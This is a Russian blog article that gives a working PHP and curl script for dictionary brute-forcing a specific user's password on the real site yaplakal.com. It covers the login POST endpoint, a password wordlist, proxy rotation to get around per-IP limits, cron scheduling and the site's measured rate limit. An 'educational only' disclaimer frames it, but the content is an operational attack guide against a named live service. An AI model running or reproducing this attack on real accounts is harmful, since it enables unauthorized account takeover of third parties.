На нашем сайте мы используем cookie для сбора информации технического характера и обрабатываем IP-адрес вашего местоположения. Продолжая использовать этот сайт, вы даете согласие на использование файлов cookies. Здесь вы можете узнать, как мы пользуемся файлами cookies.
Я согласен
логотип upread.ru

Как узнать пароль пользователя на сайте на примере япа



Внимание! Автор статьи не несет никакой ответственности за действия читателей и предупреждает, что неправомерный доступ к информации незаконен! Данная статья выложена исключительно с целью ознакомления с одним из способов взлома веб сайтов и не может служить руководством к реальному действию. Материал предназначен для начинающих веб разработчиков, чтобы они могли примерно представлять себе мысли взломщика хакера и успешно противостоять взлому: создавать эффективную защиту от подбора паролей.

Преподаватели в университете говорят, что лучше всего учиться на примере. Запоминание и осмысление информации гораздо лучше происходит, если сухая теория разбавляется живой демонстрацией. Именно так мы и поступим в данном случае: разберем алгоритм доступа к паролю пользователя на примере сайта Яплакаль. В своем примере мне понадобится следующее:

  • Хостинг с возможностью исходящих соединений;
  • язык PHP;
  • поддержка Curl с отправкой POST;
  • файл с паролями (или словарь);
  • Cron;
  • подключение и парсинг прокси (опционально).
Примечание: полное решение задачи по взлому сайта (с подробностями) я выкладывать не буду – специалист сам разберется, а для начинающих хакеров есть другие ресурсы. Или услуги специалиста :)

Исследуем форму авторизации

Предположим, что мы определили цель – имеем логин пользователя. Нам требуется узнать, с помощью какого пароля он заходит на сайт. Если мы посмотрим на главную страницу сайта (откроем её исходный код), то увидим, что форма авторизации отсылает данные POST-запроса на страницу с адресом «//www.yaplakal.com/act/Login/CODE/01/». При этом, помимо двух основных полей (логин и пароль) отсылаются еще скрытые поля, но, скажу сразу – они не имеют значения для подбора пароля.



Получаем и обрабатываем страницу

Создадим функцию получения веб-страниц с помощью Curl - get_page:

function get_page($url, $uagent, $us, $pas )
{
  $ch = curl_init($url);

  curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);   
  curl_setopt($ch, CURLOPT_HEADER, 0);           
  curl_setopt($ch, CURLOPT_ENCODING, "");       
  curl_setopt($ch, CURLOPT_USERAGENT, $uagent);  
  curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 120); 
  curl_setopt($ch, CURLOPT_TIMEOUT, 120);        
  curl_setopt($ch, CURLOPT_MAXREDIRS, 10);       
  curl_setopt($ch, CURLOPT_POST, true);
  curl_setopt($ch, CURLOPT_POSTFIELDS, "UserName=".$us."&PassWord=".$pas);
 
  $content = curl_exec( $ch );
  $err     = curl_errno( $ch );
  $errmsg  = curl_error( $ch );
  $header  = curl_getinfo( $ch );
  curl_close( $ch );

  $header['errno']   = $err;
  $header['errmsg']  = $errmsg;
  $header['content'] = $content;
  return $header;
}
Ничего необычного вы здесь не увидите. Функция принимает на вход 4 параметра (адрес, юзер агент, логин и пароль), а на выходе выдает страницу. Пожалуй, советую обратить внимание только на строки 12 и 13: в них мы определяем, что не просто устанавливаем исходящее соединение, а еще и добавляем в curl параметр Post. Получаемую страницу мы обрабатываем с помощью такой процедуры:

$addr = "http://www.yaplakal.com/act/Login/CODE/01/";
$lines = file('http://site.com/pass.txt');
$us = "логин";
$uagent ="Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36";

for ($i=0;$i<1000;$i++) {
$pas= rtrim(str_replace("\n", "", $lines[$i])); //убираем знак перехода и возможный пробел сначала
	
$result = get_web_page($addr, $uagent, $us, $pas);
if (($result['errno'] != 0 )||($result['http_code'] != 200))
    {
	echo $result['errmsg'];
	}
else
	{
	$page = $result['content'];

if (substr_count($page, "Неверный пароль")<1)	//проверяем сколько раз встречается строка в странице
{
echo "Пароль:".$pas;
die();	
}
}
}
Здесь все до безобразия просто: читаем файл с паролями в массив и пробуем. 1000 раз. Если в ответ выдается страница, в которой отсутствует фраза "Неверный пароль", то прекращаем работу скрипта и выводим на экран подошедший пароль.

Файл с паролями

Интересный момент: а что это за файл pass.txt? Это файл с паролями. Для брутфорса существуют специальные словари, с помощью которых хакеры подбирают пароли. Зачем они нужны? Дело в том, что действую просто перебором, мы даже в самом маленьком пароле для япа (минимальная длина – 8 символов) получаем 256289062500000000 вариантов. Многовато, не правда ли?

Словари с паролями можно составить и самостоятельно. Например, в одной своей статье я показывал самые популярные пароли для mail.ru – можно взять их – в файле почти 200 тысяч паролей.

Однако, стоит отметить, что перед взломщиком здесь встает проблема: за один раз даже 200 тысяч паролей не получится обработать. Во-первых, на каждом хостинге стоит ограниченное время исполнения php-скрипта – ресурсы сервера ограничены. Кроме этого, на каждом уважающем себя сайте стоит хотя бы минимальная защита от такого грубого брутфорса. Например, интернет магазины часто ставят ограничение на количество подключающихся ip в сутки – 2000 запросов хватает обычному пользователю, а не занимающемуся парсингом сайта.

Прокси

Второе затруднение мы можем обойти с помощью прокси. Например, можно брать бесплатные прокси тут. С помощью того же curl просто парсить эту страничку и подставлять полученный ip и порт. Только придется затем немного доработать нашу функцию get_page – добавить пару строк:

curl_setopt ($ch, CURLOPT_PROXY, "202.153.130.214:80"); 
curl_setopt ($ch, CURLOPT_PROXYTYPE, CURLPROXY_HTTP);
В первой адрес и порт прокси, а во второй указываем тип.

Однако, бесплатные прокси не панацея – нередко, даже с уже опробованными браузер может выдать вот такое:



Да и первая проблема никуда не делась – время работы скрипта не уменьшилось. Обойти эту проблему можно с помощью запуска скрипта по расписанию.

Cron

На всех платных хостингах, в том числе и на моем, есть возможность запускать скрипты по расписанию. Зададим, например, выполнение нашего скрипта раз в час:



Сама строка сценария (пример):

/usr/bin/php5.6 /home/u/up/upread.ru/cron.php
Тут "/usr/bin/php5.6" - это интерпретатор, "/home/u/up/"— путь до домашней директории (вам надо будет определить его самостоятельно на своем хостинге), а "upread.ru/cron.php" - это уже непосредственно скрипт, который будет подбирать пароли.

Небольшие доработки

Наш скрипт подбора требуется немного доработать. Надо сделать так, чтобы данные куда-то записывались – или в базу данных или в файл. Это несложно, поэтому я пропускаю подробности. Алгоритм тут такой: в конце работы скрип, когда закончит проверять очередную партию паролей, просто записывает номер строки последнего – а файл cron.php через определенное время начинает уже со следующей по порядку.

Итог

Для сайта пациента (яп) параметры на данный момент оказались такими: сайт выдерживает до 1000 запросов со одного ip каждые полчаса. То есть, по 2000 в час или 48 тысяч в сутки. На самом деле это неплохие параметры – обычно защита гораздо строже. Это значит, что наш файл с самыми распространенными паролями от mail.ru проверится полностью меньше, чем за 4 суток. А если взять файл с 16 миллионами паролей? На это с помощью одного потока уйдет более 300-х суток! Однако, так как это выполняет сервер, то вам то какая разница? Плюс подключить десяток прокси – и через месяц с большой вероятностью у вас будет пароль от нужного аккаунта.

Дополнение

Стоит отметить, что взломщики аккаунтов (подборщики паролей) нередко действуют по другой схеме: они парсят с сайта имена (логины) пользователей и с помощью самостоятельно составленного словаря паролей подбирают к ним. То есть атака идет на кого-то конкретного, а «широким фронтом».

В заключение хочу еще раз повторить, что информация предоставлена исключительно для законопослушных веб-мастеров и пользователей, заботящихся о собственной безопасности. Если у вас есть какие-либо вопросы, то я с удовольствием на них отвечу – за небольшое вознаграждение. Напишу любую программу или создам сайт.



Автор этого материала - я - Пахолков Юрий. Я оказываю услуги по написанию программ на языках Java, C++, C# (а также консультирую по ним) и созданию сайтов. Работаю с сайтами на CMS OpenCart, WordPress, ModX и самописными. Кроме этого, работаю напрямую с JavaScript, PHP, CSS, HTML - то есть могу доработать ваш сайт или помочь с веб-программированием. Пишите сюда.



тегистатьи IT, php, curl, пароли, POST-запрос





Отправляя сообщение я подтверждаю, что ознакомлен и согласен с политикой конфиденциальности данного сайта.




Урок 24. Тернарный оператор JavaScript
Джо Хилл "Коробка в форме сердца"


© upread.ru 2013-2021
При перепечатке активная ссылка на сайт обязательна.
Задать вопрос
письмо
Здравствуйте! Вы можете задать мне любой вопрос. Если не получается отправить сообщение через эту форму, то пишите на почу up777up@yandex.ru
Отправляя сообщение я подтверждаю, что ознакомлен и согласен с политикой конфиденциальности данного сайта.